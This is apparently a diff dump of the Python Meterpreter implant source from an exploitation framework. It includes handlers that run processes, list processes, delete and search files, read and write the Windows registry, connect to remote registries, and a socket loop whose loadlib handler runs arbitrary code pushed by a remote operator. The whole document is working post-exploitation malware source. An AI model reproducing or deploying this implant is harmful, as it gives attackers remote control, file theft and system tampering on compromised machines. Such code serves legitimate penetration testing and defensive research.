proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h_id = meterpreter.add_process(proc_h)
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
channel_id = meterpreter.add_channel(proc_h)
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_getpid(request, response):
response += tlv_pack(TLV_TYPE_PID, os.getpid())
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_proc(request, response):
for pid in os.listdir('/proc'):
pgroup = ''
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
continue
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
status_data = filter(lambda x: len(x) == 2, status_data)
status = {}
for k, v in status_data:
status[k[:-1]] = v.strip()
ppid = status.get('PPid')
uid = status.get('Uid').split('\t', 1)[0]
if has_pwd:
uid = pwd.getpwuid(int(uid)).pw_name
if cmd:
pname = os.path.basename(cmd.split(' ', 1)[0])
ppath = cmd
else:
pname = '[' + status['Name'] + ']'
ppath = ''
pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
if ppid:
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_ps(request, response):
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
ps_output = proc_h.stdout.read()
ps_output = ps_output.split('\n')
ps_output.pop(0)
for process in ps_output:
process = process.split()
if len(process) < 4:
break
pgroup = ''
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_windll(request, response):
TH32CS_SNAPPROCESS = 2
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
PROCESS_VM_READ = 0x10
TOKEN_QUERY = 0x0008
TokenUser = 1
k32 = ctypes.windll.kernel32
pe32 = PROCESSENTRY32()
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
if not result:
return ERROR_FAILURE, response
while result:
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
if not proc_h:
proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
exe_path = (ctypes.c_char * 1024)()
success = False
if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
elif hasattr(k32, 'GetModuleFileNameExA'):
success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
dw_sz = ctypes.c_uint32()
dw_sz.value = ctypes.sizeof(exe_path)
success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
if success:
exe_path = ctypes.string_at(exe_path)
else:
exe_path = ''
complete_username = ''
tkn_h = ctypes.c_long()
tkn_len = ctypes.c_uint32()
if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
buf = (ctypes.c_ubyte * tkn_len.value)()
if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
user_tkn = SID_AND_ATTRIBUTES()
ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
username = (ctypes.c_char * 512)()
domain = (ctypes.c_char * 512)()
u_len = ctypes.c_uint32()
u_len.value = ctypes.sizeof(username)
d_len = ctypes.c_uint32()
d_len.value = ctypes.sizeof(domain)
use = ctypes.c_ulong()
use.value = 0
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
k32.CloseHandle(tkn_h)
parch = windll_GetNativeSystemInfo()
is_wow64 = ctypes.c_ubyte()
is_wow64.value = 0
if hasattr(k32, 'IsWow64Process'):
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
if is_wow64.value:
parch = PROCESS_ARCH_X86
pgroup = ''
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
k32.CloseHandle(proc_h)
k32.CloseHandle(proc_snap)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_get_processes(request, response):
if os.path.isdir('/proc'):
return stdapi_sys_process_get_processes_via_proc(request, response)
elif has_windll:
return stdapi_sys_process_get_processes_via_windll(request, response)
else:
return stdapi_sys_process_get_processes_via_ps(request, response)
return ERROR_FAILURE, response
@meterpreter.register_function
def stdapi_fs_chdir(request, response):
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.chdir(wd)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
os.unlink(file_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete_dir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
if os.path.islink(dir_path):
del_func = os.unlink
else:
del_func = shutil.rmtree
del_func(dir_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.unlink(file_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if has_windll:
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
result = ''.join(path_out)[:path_out_len]
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
result = '/tmp'
else:
result = os.getenv(path_tlv, path_tlv)
if not result:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_ls(request, response):
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
path = os.path.abspath(path)
contents = os.listdir(path)
contents.sort()
for x in contents:
y = os.path.join(path, x)
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_md5(request, response):
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
import md5
m = md5.new()
else:
import hashlib
m = hashlib.md5()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_search(request, response):
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
search_root = ('' or '.') # sometimes it's an empty string
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
if recurse:
for root, dirs, files in os.walk(search_root):
for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
file_tlv = ''
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
else:
for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
file_tlv = ''
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_separator(request, response):
response += tlv_pack(TLV_TYPE_STRING, os.sep)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_sha1(request, response):
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
import sha1
m = sha1.new()
else:
import hashlib
m = hashlib.sha1()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_stat(request, response):
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
st_buf = get_stat_buffer(path)
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_net_socket_tcp_shutdown(request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
channel = meterpreter.channels[channel_id]
channel.close()
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_close_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
result = ctypes.windll.advapi32.RegCloseKey(hkey)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_create_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
res_key = ctypes.c_void_p()
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_delete_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
if (flags & DELETE_KEY_FLAG_RECURSIVE):
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
else:
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_delete_value(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_key(request, response):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
index = 0
tries = 0
while True:
result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
if result == ERROR_MORE_DATA:
if tries > 3:
break
name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
tries += 1
continue
elif result == ERROR_NO_MORE_ITEMS:
result = ERROR_SUCCESS
break
elif result != ERROR_SUCCESS:
break
tries = 0
response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
name_sz = ctypes.c_uint32()
index = 0
tries = 0
while True:
name_sz.value = ctypes.sizeof(name)
result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
if result == ERROR_MORE_DATA:
if tries > 3:
break
name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
tries += 1
continue
elif result == ERROR_NO_MORE_ITEMS:
result = ERROR_SUCCESS
break
elif result != ERROR_SUCCESS:
break
tries = 0
response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_load_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_open_remote_key(request, response):
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
result_key = ctypes.c_void_p()
result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
if (result == ERROR_SUCCESS):
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_query_class(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_data = (ctypes.c_char * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
if result == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
REG_SZ = 1
REG_DWORD = 4
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_type = ctypes.c_uint32()
value_type.value = 0
value_data = (ctypes.c_ubyte * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
if result == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
if value_type.value == REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
elif value_type.value == REG_DWORD:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
else:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_unload_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
return result, response

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,415 @@
#!/usr/bin/python
import code
import ctypes
import os
import random
import select
import socket
import struct
import subprocess
import sys
import threading
has_windll = hasattr(ctypes, 'windll')
#
# Constants
#
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL = 3
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV base starting points
#
TLV_RESERVED = 0
TLV_EXTENSIONS = 20000
TLV_USER = 40000
TLV_TEMP = 60000
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in xrange(32))
def packet_get_tlv(pkt, tlv_type):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = val.split('\x00', 1)[0]
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
return {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
return {}
def tlv_pack(*args):
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ""
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
return data
class STDProcessBuffer(threading.Thread):
def __init__(self, std, is_alive):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = ''
self.data_lock = threading.RLock()
def run(self):
while self.is_alive():
byte = self.std.read(1)
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
data = self.std.read()
self.data_lock.acquire()
self.data += data
self.data_lock.release()
def is_read_ready(self):
return len(self.data) != 0
def read(self, l = None):
data = ''
self.data_lock.acquire()
if l == None:
data = self.data
self.data = ''
else:
data = self.data[0:l]
self.data = self.data[l:]
self.data_lock.release()
return data
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
class PythonMeterpreter(object):
def __init__(self, socket):
self.socket = socket
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in filter(lambda x: x.startswith('_core'), dir(self)):
self.extension_functions[func[1:]] = getattr(self, func)
self.running = True
def register_function(self, func):
self.extension_functions[func.__name__] = func
def register_function_windll(self, func):
if has_windll:
self.register_function(func)
def add_channel(self, channel):
idx = 0
while idx in self.channels:
idx += 1
self.channels[idx] = channel
return idx
def add_process(self, process):
idx = 0
while idx in self.processes:
idx += 1
self.processes[idx] = process
return idx
def run(self):
while self.running:
if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8)
if len(request) != 8:
break
req_length, req_type = struct.unpack('>II', request)
req_length -= 8
request = ''
while len(request) < req_length:
request += self.socket.recv(4096)
response = self.create_response(request)
self.socket.send(response)
else:
channels_for_removal = []
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = ''
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, socket._socketobject):
while len(select.select([channel.fileno()], [], [], 0)[0]):
try:
d = channel.recv(1)
except socket.error:
d = ''
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
data += d
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
preloadlib_methods = self.extension_functions.keys()
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = self.extension_functions.keys()
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
for method in new_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
def _core_shutdown(self, request, response):
response += tlv_pack(TLV_TYPE_BOOL, True)
self.running = False
return ERROR_SUCCESS, response
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_create_' + channel_type['value']
if handler not in self.extension_functions:
return ERROR_FAILURE, response
handler = self.extension_functions[handler]
return handler(request, response)
def _core_channel_close(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
if isinstance(channel, file):
channel.close()
elif isinstance(channel, subprocess.Popen):
channel.kill()
elif isinstance(s, socket._socketobject):
channel.close()
else:
return ERROR_FAILURE, response
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_eof(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
result = False
if isinstance(channel, file):
result = channel.tell() == os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
def _core_channel_interact(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
